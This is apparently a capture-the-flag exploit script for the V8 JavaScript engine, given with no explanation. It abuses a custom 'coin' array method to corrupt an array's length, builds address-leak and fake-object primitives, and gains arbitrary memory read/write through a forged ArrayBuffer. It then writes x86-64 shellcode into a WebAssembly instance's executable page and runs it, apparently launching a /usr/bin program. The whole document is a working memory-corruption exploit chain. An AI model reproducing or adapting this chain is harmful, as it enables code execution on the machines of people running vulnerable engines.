1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| var buf =new ArrayBuffer(16); var float64 = new Float64Array(buf); var bigUint64 = new BigUint64Array(buf); function hex(b) { return "0x" + b.toString(16).padStart(8, "0"); }
function f2i(f) { float64[0] = f; return bigUint64[0]; }
function i2f(i) { bigUint64[0] = i; return float64[0]; }
var val = { valueOf:function() { array.length = 0x100; return 1024; } } let array = new Array(30); let float_array = [1.1, 2.2]; var obj = {}; var obj_array = [obj]; array.coin(34, val); var float_map = float_array[2]; console.log("map addr is: " + hex(f2i(float_map))); var obj_map = float_array[0x10]; console.log("obj map addr is " + hex(f2i(float_array[0x10])));
function leak_addr(obj1){ obj_array[0] = obj1; float_array[0x10] = float_map; var addr = f2i(obj_array[0]) -1n; float_array[0x10] = obj_map; return addr; } function leak(obj1){ obj_array[0] = obj1; float_array[0x10] = float_map; var addr = f2i(obj_array[0]) - 1n; float_array[0x10] = obj_map; return addr; } function fake_array(addr){ float_array[0x10] = float_map; obj_array[0] = i2f(addr + 1n); float_array[0x10] = obj_map; var fake_obj = obj_array[0]; return fake_obj; } let fake = [0.0,1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9]; const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]); const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule); var f = wasmInstance.exports.main; var fake_addr = leak_addr(fake); var rwx_addr = leak(wasmInstance) + 0x88n; console.log("rwx addr = " + hex(rwx_addr)); var element_addr = (fake_addr) - 0x50n; console.log("element_addr = " + hex(element_addr));
fake[0] = i2f(0n); fake[1] = i2f(0x1900042317080808n); fake[2] = i2f(0x82003ffn); fake[3] = i2f(0n);
fake[4] = i2f(element_addr + 1n); fake[5] = i2f(0n); fake[6] = i2f(0n); fake[7] = i2f(0x40000n); fake[8] = i2f(rwx_addr); fake[9] = i2f(0x2n); var arb_buf = fake_array(element_addr + 0x20n);
var dv = new DataView(arb_buf); var wasm_shellcode_addr = dv.getBigInt64(0, true); console.log("wasm shellcode addr : " + hex(wasm_shellcode_addr)); fake[8] = i2f(wasm_shellcode_addr); let sc = [ 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98, 96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98, 105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90, 72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5 ]; for (var i=0;i<sc.length;i++) {
dv.setUint8(i,sc[i],true); } f();
|